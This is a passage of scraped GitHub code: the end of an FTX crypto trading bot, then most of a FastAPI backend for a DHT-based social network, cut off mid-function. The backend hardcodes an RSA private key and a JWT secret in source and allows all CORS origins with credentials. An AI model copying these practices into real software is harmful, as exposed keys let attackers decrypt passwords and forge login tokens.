cryptocurrencies following basic trading analysis signals such as Average Directional Movement Index (ADX), Moving Average Convergence Divergence (MACD), and Relative Strength Index (RSI).\n\"\"\"\n\n# %%\nimport os\nfrom datetime import datetime\n\nimport ccxt\nimport numpy as np\nimport talib\nfrom dotenv import load_dotenv\nfrom rich.console import Console\nfrom rich.progress import track\nfrom rich.table import Table\n\n# %%\nload_dotenv()\n\nBALANCE = int(os.environ[\"BALANCE\"])\nCURRENCIES = os.environ[\"CURRENCIES\"].split()\nLIVE_TRADE = os.environ[\"LIVE_TRADE\"] == \"True\"\nQUOTE_CURRENCY = os.environ[\"QUOTE_CURRENCY\"]\nVARIATION = float(os.environ[\"VARIATION_%\"])\n\nclient = ccxt.ftx()\nclient_params = {\"subaccount\": os.environ[\"FTX_SUBACCOUNT\"]}\nclient.apiKey = os.environ[\"FTX_PUBLIC_KEY\"]\nclient.secret = os.environ[\"FTX_SECRET_KEY\"]\n\nif LIVE_TRADE:\n client.cancel_all_orders(params=client_params)\n\n# %%\ndef main():\n \"\"\"Main function.\"\"\"\n console = Console()\n table = Table(\n title=f\"Buy High, Sell Higher ({datetime.strftime(datetime.now(), '%Y-%m-%d')})\"\n )\n\n table.add_column(\"Time\", no_wrap=True)\n table.add_column(\"Pair\", no_wrap=True)\n table.add_column(\"Balance\", no_wrap=True)\n table.add_column(\"Profit\", no_wrap=True)\n table.add_column(\"Action\", no_wrap=True)\n table.add_column(\"Signals\", no_wrap=True)\n\n account_balances = client.fetch_balance(params=client_params)\n tickers = client.fetch_tickers(\n symbols=[f\"{currency}/{QUOTE_CURRENCY}\" for currency in CURRENCIES]\n )\n\n for currency in track(CURRENCIES, description=\"Processing...\"):\n action, colour = \"WAIT\", \"white\"\n signals = \"\"\n symbol = f\"{currency}/{QUOTE_CURRENCY}\"\n price = float(tickers.get(symbol).get(\"last\"))\n trading_amount = 0\n\n balance = float(account_balances.get(currency).get(\"total\")) or 0\n # balance = 0\n balance_usd = balance * price\n balance_usd_diff = balance_usd - BALANCE\n variation = (balance_usd / BALANCE * 100) - 100\n\n if abs(variation) >= VARIATION:\n ohlcv = client.fetch_ohlcv(symbol, timeframe=\"1m\", limit=1440)\n high = np.array([x[2] for x in ohlcv])\n low = np.array([x[3] for x in ohlcv])\n close = np.array([x[4] for x in ohlcv])\n\n # Signals\n\n ## Average Directional Movement Index (ADX)\n adx = talib.ADX(high, low, close, timeperiod=14)\n adx_signal = adx[-1] > 25\n signals += f\"A{ adx[-1]:.2f} \"\n\n ## Moving Average Convergence Divergence (MACD)\n macd, macdsignal, macdhist = talib.MACD(\n close, fastperiod=12, slowperiod=26, signalperiod=9\n )\n macd_signal = macd[-1] > macdsignal[-1]\n signals += f\"M{macd_signal:1} \"\n\n ## Relative Strength Index (RSI)\n rsi = talib.RSI(close, timeperiod=14)\n signals += f\"R{rsi[-1]:.2f} \"\n\n # Decide to buy, sell, or wait\n if (\n (macd_signal and adx_signal and rsi[-1] < 70) or rsi[-1] < 15\n ) and balance_usd < BALANCE:\n if account_balances[QUOTE_CURRENCY][\"free\"] > balance_usd_diff:\n if variation < (VARIATION * -3):\n action, colour = \"BUY\", \"white on red\"\n trading_amount = abs(balance_usd_diff / price)\n else:\n action, colour = \"NO FUNDS\", \"white on yellow\"\n elif (\n (not macd_signal and rsi[-1] > 30) or rsi[-1] > 85\n ) and balance_usd > BALANCE:\n if balance_usd > 10:\n action, colour = \"SELL\", \"white on green\"\n trading_amount = balance\n\n if action in [\"BUY\", \"SELL\"] and LIVE_TRADE:\n # client.create_post_only_order(\n client.create_limit_order(\n amount=trading_amount,\n params=client_params,\n price=price,\n side=action.lower(),\n symbol=symbol,\n # type=\"limit\",\n )\n\n table.add_row(\n f\"{datetime.now().strftime('%H:%M:%S')}\",\n f\"{currency}\",\n f\"{balance_usd:.2f} {QUOTE_CURRENCY}\",\n f\"{variation:+.2f}%\",\n action,\n signals,\n style=colour,\n )\n\n console.print(table)\n\n\n# %%\nif __name__ == \"__main__\":\n main()\n","repo_name":"Ophuscado/buy-high-sell-higher","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33766463307","text":"import uvicorn\nimport Pyro5.client\nfrom .post import Post\nfrom .actor import Actor\nfrom typing import Union\nfrom .activities import *\nfrom copy import deepcopy\nfrom jose import JWTError, jwt\nfrom pydantic import BaseModel\nfrom .cache import Cache, CacheItem\nfrom .dht.chord_node import ChordNode\nfrom .cache.cache import Cache,CacheItem\nfrom copy import deepcopy\nimport numpy as np\nfrom numpy import array\nfrom random import randint, uniform\nfrom .classifier.text_classifier import TextClassifier\nimport socket as sck\nfrom passlib.context import CryptContext\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi import FastAPI, HTTPException, Depends, status\nfrom fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm\nfrom datetime import datetime, timedelta\nfrom Cryptodome.Cipher import PKCS1_OAEP\nfrom Cryptodome.PublicKey import RSA\nfrom Cryptodome.Hash import SHA256\nfrom base64 import b64decode\nimport logging\n\n# get logger from logging module\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nformatter = logging.Formatter('[%(asctime)s] %(levelname)s -> %(message)s', \"%d-%m-%Y %H:%M:%S\")\nhandler = logging.StreamHandler()\nhandler.setLevel(logging.INFO)\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\n##Matrix\nGRAPH = array([\n [1.0, 0.3, 0.4, 0.6, 0.2, 0.3, 0.5, 0.6, 0.8, 0.9],\n [0.1, 1.0, 0.2, 0.7, 0.8, 0.5, 0.7, 0.65, 0.5, 0.8],\n [0.78, 0.1, 1.0, 0.6, 0.2, 0.5, 0.2, 0.7, 0.65, 0.79],\n [0.6, 0.4, 0.2, 1.0, 0.2, 0.45, 0.3, 0.5, 0.8, 0.7],\n [0.18, 0.86, 0.4, 0.3, 1.0, 0.67, 0.56, 0.7, 0.4, 0.69],\n [0.2, 0.3, 0.6, 0.2, 0.1, 1.0, 0.5, 0.7, 0.3, 0.4],\n [0.7, 0.6, 0.3, 0.5, 0.6, 0.58, 1.0, 0.62, 0.48, 0.53],\n [0.8, 0.1, 0.2, 0.1, 0.8, 0.82, 0.458, 1.0, 0.23, 0.38],\n [0.6, 0.1, 0.7, 0.75, 0.4, 0.5, 0.64, 0.58, 1.0, 0.4],\n [0.9, 0.2, 0.4, 0.6, 0.3, 0.2, 0.86, 0.42, 0.21, 1.0]\n])\n##\n\n##Classifier\nCLASSIFIER=TextClassifier()\n##\n\n# to get a string like this run:\n# openssl rand -hex 32\nSECRET_KEY = \"97af2450780e8090d64696b529c104c1aadbc356ecbed48feb4e2b7db4b42622\"\nALGORITHM = \"HS256\"\nACCESS_TOKEN_EXPIRE_MINUTES = 1440\nCACHE = Cache(512)\nMAX_SAVE=2048\nIP: str = sck.gethostbyname(sck.gethostname())\n\nkey=RSA.import_key('-----BEGIN RSA PRIVATE KEY-----\\nMIICXAIBAAKBgQCyiZht8PYKDNR0VNQKzmBD1s44BSsEKTjQyyoFZFZqU0oGmpP3\\nht6wqVMV1VCyCNf9E3s3tzNgD5IkDg6wDC4rculcx2yQ7GsfSnU49/+yu2WoBF5J\\nHzDcsWEJe9KmeNTp988JxeBjxtmORGLCfFLYDxiOU7VVPCo98nm16PkSmQIDAQAB\\nAoGAGVeTleNyoRmSHJMf6ArEOkzmx6fgI76QLH7yD4LfC0eYRdiyMRvpRy05uGsn\\ngaXktq0Ju+5asgNzzH9cUVvhP5dAAaTIeBB0NcwFDNO7KKwd6azwOKX7vjR8XaD3\\nqAItIVwN7cvTZ08qelxuFlg+7fiUI1Ij45lXv9+oQhYt0BMCQQC4twFbmXBzoGrT\\nQ+pWNWXSSE2OKAOck6UCOaLtZ/Gsnv/DjOG41zPhFQQX7UsqDJvSbvrAk/BH4aGX\\n8LmN3Xh/AkEA93BK6lCesSvzr27RQl3nYjY5Eirx4voCDmIVL5AlrGh0Eliy8tFt\\nzPqBNHDgZTbG8t2scdcAqrbnI/JS2fKo5wJBALgseKUdc9tGSt1FbWTxrwmhX/rq\\n+Nbo+/EhCMvQBU9J5djUIshLgwXdD4zP5E8T7VY/o7Pajg0N8zJtKoZCGf8CQDWq\\nbzUewyxeAf48pLomL7cHV51vHwNBggyojTvBocog5XvNLRKpBY19j2RWTvTkyoWG\\nOo5+OTDNdpg/SGTo0mUCQAM5UVtFvO7wNId/RZuuOBc+176LWvuPHnbRq1BRr7M9\\nNMYIfsf1q0hBNCKEMO8SUZ+dNPkNdqtgambqZUw9Wn0=\\n-----END RSA PRIVATE KEY-----')\ncipher=PKCS1_OAEP.new(key,hashAlgo=SHA256)\n\ndef my_decrypt(message:str)->str:\n return cipher.decrypt(b64decode(message + str(b'==')))\n \nclass Token(BaseModel):\n access_token: str\n token_type: str\n\n\nclass TokenData(BaseModel):\n id: Union[str, None] = None\n\n\npwd_context = CryptContext(schemes=[\"bcrypt\"], deprecated=\"auto\")\n\noauth2_scheme = OAuth2PasswordBearer(tokenUrl=\"token\")\n\napp = FastAPI()\n\n# NEW\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\ndef verify_password(plain_password, hashed_password):\n return pwd_context.verify(plain_password, hashed_password)\n\n\ndef get_password_hash(password):\n return pwd_context.hash(password)\n\n\ndef get_user(node: ChordNode, id: str):\n user = node.search(id)\n return user\n\n\ndef authenticate_user(node: ChordNode, id: str, password: str):\n user = get_user(node, id)\n print(user)\n if user is None:\n return False\n if not verify_password(password, user.hashed_password):\n return False\n return user\n\n\ndef create_access_token(data: dict, expires_delta: Union[timedelta, None] = None):\n to_encode = data.copy()\n if expires_delta:\n expire = datetime.utcnow() + expires_delta\n else:\n expire = datetime.utcnow() + timedelta(minutes=15)\n to_encode.update({\"exp\": expire})\n encoded_jwt = jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)\n return encoded_jwt\n\n\nasync def get_current_user(token: str = Depends(oauth2_scheme)):\n credentials_exception = HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=\"Could not validate credentials\",\n headers={\"WWW-Authenticate\": \"Bearer\"},\n )\n try:\n payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])\n id: str = payload.get(\"sub\")\n if id is None:\n raise credentials_exception\n token_data = TokenData(id=id)\n except JWTError:\n raise credentials_exception\n\n user = None\n\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user = get_user(node=node, id=token_data.id)\n except:\n print('Error accediendo a usuarios')\n\n if user is None:\n raise credentials_exception\n return user\n\n@app.head(\"/\")\ndef root():\n logger.info('Server active')\n return \"OK\"\n\n@app.get(\"/system_network\")\ndef get_system_network():\n system = []\n with Pyro5.client.Proxy(f'PYRO:admin@{IP}:8002') as node:\n system = list(node.system_network)\n logger.info('System network: {}'.format(system))\n return system\n\n@app.put(\"/forgot_password\")\ndef forgot_password(alias:str, a1:str, a2:str, password:str):\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user=node.search(alias)\n if user is None:\n raise HTTPException(status_code=404, detail=f\"Username {alias} not found\")\n \n _a1=get_password_hash(my_decrypt(a1))\n _a2=get_password_hash(my_decrypt(a2))\n _password=get_password_hash(my_decrypt(password))\n \n if user.forgot_password(_password,_a1,_a2):\n return \"success\"\n \n else:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n except:\n raise HTTPException(status_code=500,detail=f\"The operation has fail\")\n\n@app.post(\"/token\", response_model=Token)\nasync def login_for_access_token(form_data: OAuth2PasswordRequestForm = Depends()):\n d_password = my_decrypt(form_data.password)\n user = None\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user = authenticate_user(\n node, form_data.username, d_password)\n except:\n print('Error accediendo a usuarios')\n print(user)\n if user is None or not user:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=\"Incorrect alias or password\",\n headers={\"WWW-Authenticate\": \"Bearer\"},\n )\n access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)\n access_token = create_access_token(\n data={\"sub\": user.id}, expires_delta=access_token_expires\n )\n logger.info('Token generated to {}'.format(user.alias))\n return {\"access_token\": access_token, \"token_type\": \"bearer\"}\n\n@app.put(\"/create_user\")\ndef create_user(username: str, alias: str, password: str, a1: str, a2: str):\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n item= node.search(alias)\n if item is None:\n node.add(\"Actor\",(alias, username, get_password_hash(my_decrypt(password)), get_password_hash(my_decrypt(a1)), get_password_hash(my_decrypt(a2))))\n logger.info('User created: {}'.format(alias))\n else:\n raise HTTPException(\n status_code=400, detail=f\"User {alias} already exist\")\n\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e}\")\n\n\n@app.post(\"/me/change_password\")\nasync def change_password(password: str, current_user: Actor = Depends(get_current_user)):\n current_user.hashed_password = get_password_hash(password=my_decrypt(password))\n return 'success'\n\n\n@app.post(\"/me/post\")\nasync def create_post(content: str, reply: str = \"\", current_user: Actor = Depends(get_current_user)):\n try:\n moment=datetime.now()\n post = Post(current_user.id+str(moment),current_user.id, content, reply, moment)\n if reply == \"\":\n # classify post\n post.cat_label=CLASSIFIER.predict(content)\n else:\n try:\n # search original post and add reply\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n rp = node.search(reply)\n if rp is None:\n raise HTTPException(status_code=404, detail=\"Original post unreachable\")\n rp.add_reply(post.id)\n rp.replies_soa += 1\n rp.replies_soa %= MAX_SAVE\n except Exception as e:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred {e} !!!\")\n\n # save new post\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n node.add(\"Post\",(current_user.id+str(moment),current_user.id, content, reply, moment))\n p = node.search(current_user.id+str(moment))\n p.cat_label = post.cat_label\n current_user.posts_soa += 1\n current_user.posts_soa %= MAX_SAVE\n # put in outbox of current actor\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n node.search(current_user.outbox).add(\"CreateActivity\",(\"Create\"+post.id,post.author,post.id,post.published,current_user.followers,post.reply))\n\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n try:\n with Pyro5.client.Proxy(f'PYRO:inboxes@{IP}:8002') as inb:\n for i in current_user.followers:\n act_i = node.search(i)\n inb.search(act_i.inbox).add(\"CreateActivity\",(\"Create\"+post.id,post.author,post.id,post.published,current_user.followers,post.reply))\n except Exception as e:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred {e} ...\")\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred: {e} -\")\n\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred: {e} %\")\n\n return 'success'\n\n\n@app.get(\"/{alias}/followings\")\nasync def get_following(alias: str, current_user: Actor = Depends(get_current_user)):\n user=None\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user=node.search(alias)\n if user is None:\n raise HTTPException(status_code=404, detail=f\"User {alias} not found\")\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n \n if user!=None and CACHE.is_in(f\"{user.id}.following\") and CACHE.get(f\"{user.id}.following\")[1] == user.following_soa:\n return CACHE.get(f\"{user.id}.following\")[0]\n\n else:\n following = []\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n for i in user.following:\n usr = node.search(i)\n if usr is None:\n raise HTTPException(\n status_code=404, detail=f\"Username {i} not found\")\n else:\n following.append({\"username\": usr.user_name, \"alias\": usr.alias})\n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n\n if CACHE.is_in(f\"{user.id}.following\"):\n CACHE._memory[CACHE._hash(f\"{user.id}.following\")] = CacheItem(\n [deepcopy(following), user.following_soa])\n else:\n CACHE.add(key=f\"{user.id}.following\", value=[\n deepcopy(following), user.following_soa])\n return following\n\n\n@app.get(\"/{alias}/followers\")\nasync def get_followers(alias: str, current_user: Actor = Depends(get_current_user)):\n user=None\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user=node.search(alias)\n if user is None:\n raise HTTPException(status_code=404, detail=f\"User {alias} not found\")\n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n \n if user!=None and CACHE.is_in(f\"{user.id}.followers\") and CACHE.get(f\"{user.id}.followers\")[1] == user.followers_soa:\n return CACHE.get(f\"{user.id}.followers\")[0]\n else:\n followers = []\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n for i in user.followers:\n usr = node.search(i)\n if usr is None:\n raise HTTPException(status_code=404, detail=f\"Username {i} not found\")\n else:\n followers.append({\"username\": usr.user_name, \"alias\": usr.alias})\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 343\")\n\n if CACHE.is_in(f\"{user.id}.followers\"):\n CACHE._memory[CACHE._hash(f\"{user.id}.followers\")] = CacheItem(\n [deepcopy(followers), user.followers_soa])\n else:\n CACHE.add(key=f\"{user.id}.followers\", value=[\n deepcopy(followers), user.followers_soa])\n return followers\n\n\n@app.get(\"/{alias}/posts\")\nasync def get_posts(alias: str, current_user: Actor = Depends(get_current_user)):\n user=None\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user=node.search(alias)\n if user is None:\n raise HTTPException(status_code=404, detail=f\"Username {alias} not found\")\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 363\")\n\n if user!=None and CACHE.is_in(f\"{user.id}.posts\") and CACHE.get(f\"{user.id}.posts\")[1] == user.posts_soa:\n return CACHE.get(f\"{user.id}.posts\")[0]\n\n posts = []\n try:\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n usr_ob = node.search(user.outbox)\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as post_dht:\n for i in usr_ob.items([\"CreateActivity\"]):\n p = post_dht.search(i)\n if p is not None:\n dp = {}\n dp[\"id\"] = p.id\n dp[\"author\"] = p.author\n dp[\"date\"] = p.published\n dp[\"text\"] = p.content\n dp[\"count_fav\"] = len(p.likes)\n dp['count_comment'] = len(p.replies)\n dp[\"count_share\"] = len(p.shared)\n dp[\"category\"] = p.cat_label\n dp[\"fav\"] = current_user.id in p.likes\n dp[\"share\"] = current_user.id in p.shared\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as actors_dht:\n act = actors_dht.search(p.author)\n if act is not None:\n dp[\"username\"] = act.user_name\n else:\n raise HTTPException(status_code=404, detail=f\"Username {p.author} not found\")\n posts.append(dp)\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 378\")\n if CACHE.is_in(f\"{user.id}.posts\"):\n CACHE._memory[CACHE._hash(f\"{user.id}.posts\")] = CacheItem(\n [deepcopy(posts), user.posts_soa])\n else:\n CACHE.add(key=f\"{user.id}.posts\", value=[\n deepcopy(posts), user.posts_soa])\n\n return posts\n\n\n@app.get(\"/me/feed\")\nasync def get_posts(current_user: Actor = Depends(get_current_user)):\n posts = []\n try:\n with Pyro5.client.Proxy(f'PYRO:inboxes@{IP}:8002') as node:\n usr_ob = node.search(current_user.inbox)\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as post_dht:\n for i in usr_ob.items([\"CreateActivity\", \"ShareActivity\"]):\n p = post_dht.search(i)\n if p is not None:\n dp = {}\n dp[\"id\"] = p.id\n dp[\"author\"] = p.author\n dp[\"date\"] = p.published\n dp[\"text\"] = p.content\n dp[\"count_fav\"] = len(p.likes)\n dp['count_comment'] = len(p.replies)\n dp[\"count_share\"] = len(p.shared)\n dp[\"category\"] = p.cat_label\n dp[\"fav\"] = current_user.id in p.likes\n dp[\"share\"] = current_user.id in p.shared\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as actors_dht:\n act = actors_dht.search(p.author)\n if act is not None:\n dp[\"username\"] = act.user_name\n else:\n raise HTTPException(status_code=404, detail=f\"Username {p.author} not found\")\n posts.append(dp)\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 378\")\n return posts\n\n\n@app.get(\"/{alias}/shares\")\nasync def get_shared(alias: str, current_user: Actor = Depends(get_current_user)):\n user=None\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user=node.search(alias)\n \n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n if user!=None and CACHE.is_in(f\"{user.id}.shared\") and CACHE.get(f\"{user.id}.shared\")[1] == user.shared_soa:\n return CACHE.get(f\"{user.id}.shared\")[0]\n shared = []\n try:\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n usr_ob = node.search(user.outbox)\n\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as post_dht:\n for i in usr_ob.items([\"ShareActivity\"]):\n p = post_dht.search(i)\n print(p)\n if p is not None:\n dp = {}\n dp[\"id\"] = p.id\n dp[\"author\"] = p.author\n dp[\"date\"] = p.published\n dp[\"text\"] = p.content\n dp[\"count_fav\"] = len(p.likes)\n dp['count_comment'] = len(p.replies)\n dp[\"count_share\"] = len(p.shared)\n dp[\"category\"] = p.cat_label\n dp[\"fav\"] = current_user.id in p.likes\n dp[\"share\"] = current_user.id in p.shared\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as actors_dht:\n act = actors_dht.search(p.author)\n if act is not None:\n dp[\"username\"] = act.user_name\n else:\n raise HTTPException(status_code=404, detail=f\"Username {p.author} not found\")\n shared.append(dp)\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 411\")\n\n if CACHE.is_in(f\"{user.id}.shared\"):\n CACHE._memory[CACHE._hash(f\"{user.id}.shared\")] = CacheItem(\n [deepcopy(shared), user.shared_soa])\n else:\n CACHE.add(key=f\"{user.id}.shared\", value=[\n deepcopy(shared), user.shared_soa])\n\n return shared\n\n\n@app.get(\"/{alias}/likes\")\nasync def get_likes(alias: str, current_user: Actor = Depends(get_current_user)):\n user=None\n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user=node.search(alias)\n if user is None:\n raise HTTPException(status_code=404, detail=f\"Username {alias} not found\")\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 432\")\n\n\n if user!=None and CACHE.is_in(f\"{user.id}.likes\") and CACHE.get(f\"{user.id}.likes\")[1] == user.likes_soa:\n return CACHE.get(f\"{user.id}.likes\")[0]\n likes = []\n try:\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n usr_ob = node.search(user.outbox)\n\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as post_dht:\n for i in usr_ob.items([\"LikeActivity\"]):\n p = post_dht.search(i)\n print(\"LIKE\", p.id)\n if p is not None:\n dp = {}\n dp[\"id\"] = p.id\n dp[\"author\"] = p.author\n dp[\"date\"] = p.published\n dp[\"text\"] = p.content\n dp[\"count_fav\"] = len(p.likes)\n dp['count_comment'] = len(p.replies)\n dp[\"count_share\"] = len(p.shared)\n dp[\"category\"] = p.cat_label\n dp[\"fav\"] = current_user.id in p.likes\n dp[\"share\"] = current_user.id in p.shared\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as actors_dht:\n act = actors_dht.search(p.author)\n if act is not None:\n dp[\"username\"] = act.user_name\n else:\n raise HTTPException(status_code=404, detail=f\"Username {p.author} not found\")\n likes.append(dp)\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error has occurred {e} line 448\")\n\n if CACHE.is_in(f\"{user.id}.likes\"):\n CACHE._memory[CACHE._hash(f\"{user.id}.likes\")] = CacheItem(\n [deepcopy(likes), user.likes_soa])\n else:\n CACHE.add(key=f\"{user.id}.likes\", value=[\n deepcopy(likes), user.likes_soa])\n\n return likes\n\n\n@app.put(\"/me/like/{post_id}\")\nasync def like(post_id: str, current_user: Actor = Depends(get_current_user)):\n try:\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n node.search(current_user.outbox).add(\n \"LikeActivity\", (\"Like\"+ current_user.id + post_id, current_user, post_id)\n )\n current_user.likes_soa += 1\n current_user.likes_soa %= MAX_SAVE\n \n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n p = node.search(post_id)\n if p is None:\n raise HTTPException(status_code=404, detail=\"Post unreachable\")\n p.like(current_user.id)\n p.likes_soa += 1\n p.likes_soa %= MAX_SAVE\n\n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n \n return 'success'\n\n\n@app.put(\"/me/share/{post_id}\")\nasync def share_post(post_id: str, current_user: Actor = Depends(get_current_user)):\n try:\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n post=node.search(post_id)\n if post is None: \n raise HTTPException(status_code=404, details=\"Post unreachable\")\n \n post.add_shared(current_user.id)\n post.shared_soa+=1\n post.shared_soa%=MAX_SAVE\n\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n node.search(current_user.outbox).add(\n \"ShareActivity\",(\"Share\" + current_user.id +post_id, post_id))\n current_user.shared_soa+=1\n current_user.shared_soa%=MAX_SAVE\n\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n try:\n with Pyro5.client.Proxy(f'PYRO:inboxes@{IP}:8002') as inb:\n for i in current_user.followers:\n print(i)\n act_i = node.search(i)\n inb.search(act_i.inbox).add(\"ShareActivity\",(\"Share\"+current_user.id +\n post_id, post_id))\n print(\"add\")\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n \n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n return 'success'\n\n\n@app.delete(\"/me/delete_post/{post_id}\")\nasync def delete_post(post_id: str, current_user: Actor = Depends(get_current_user)):\n try:\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n post = node.search(post_id)\n if post is None:\n raise HTTPException(status_code=404, detail=\"Post not found\")\n\n if post.author == current_user.id:\n node.remove(post.id)\n else:\n raise HTTPException(status_code=401, detail=f\"Unauthorized\")\n\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n outbox = node.search(current_user.outbox)\n outbox.add(\"DeleteActivity\",('Delete'+post_id, post_id))\n current_user.posts_soa += 1\n current_user.posts_soa %= MAX_SAVE\n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n return 'success'\n\n\n@app.post(\"/me/follow/{user_id}\")\nasync def follow(user_id, current_user: Actor = Depends(get_current_user)):\n try:\n # Search user to follow\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user = node.search(user_id)\n\n try:\n # Put follow activity in your outbox\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as fol:\n fol.search(current_user.outbox).add(\n \"FollowActivity\",('Follow'+user_id, user_id))\n user.add_followers(current_user.id)\n user.followers_soa += 1\n user.followers_soa %= MAX_SAVE\n \n current_user.add_followings(user_id)\n current_user.following_soa += 1\n current_user.following_soa %= MAX_SAVE\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n\n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n\n return 'success'\n\n\n@app.delete(\"/me/unfollow/{user_id}\")\nasync def unfollow(user_id, current_user: Actor = Depends(get_current_user)):\n current_user.remove_followings(user_id)\n current_user.following_soa += 1\n current_user.following_soa %= MAX_SAVE\n try:\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as fol:\n fol.search(current_user.outbox).add(\n \"UnfollowActivity\",('Unfollow'+user_id, user_id))\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n \n try:\n with Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n user = node.search(user_id)\n user.remove_followers(current_user.id)\n user.followers_soa += 1\n user.followers_soa %= MAX_SAVE\n\n except:\n raise HTTPException(status_code=500,detail=f\"An error has occurred\")\n \n \n return 'success' \n\n@app.post(\"/me/preferences\")\nasync def set_preferences(preferences:list,current_user: Actor = Depends(get_current_user)):\n pref=[0 for i in range(10)]\n if len(preferences)>0:\n pref[preferences[0]]=uniform(0.8,1)\n \n if len(preferences)>1:\n pref[preferences[1]]=uniform(0.6,0.8)\n \n if len(preferences)>2:\n pref[preferences[2]]=uniform(0.5,0.6)\n \n if len(preferences)>3:\n pref[preferences[3]]=uniform(0.45,0.5)\n \n pref=array(pref)\n u_pref=np.dot(pref,GRAPH)\n current_user.preferences=u_pref\n return 'succes'\n\n\n@app.put(\"/me/unlike/{post_id}\")\nasync def unlike(post_id: str, current_user: Actor = Depends(get_current_user)):\n try:\n with Pyro5.client.Proxy(f'PYRO:outboxes@{IP}:8002') as node:\n node.search(current_user.outbox).add(\n \"UnlikeActivity\", (\"Unlike\" + current_user.id + post_id, current_user, post_id)\n )\n\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n p=node.search(post_id)\n if p is None:\n raise HTTPException(status_code=404, detail=\"Post unreachable\")\n p.unlike(current_user.id)\n p.likes_soa += 1\n p.likes_soa %= MAX_SAVE\n\n except:\n raise HTTPException(status_code=500, detail=f\"An error has occurred\")\n \n \n@app.get(\"/{alias}/info\")\nasync def get_info(alias: str, current_user: Actor = Depends(get_current_user)):\n info={}\n with 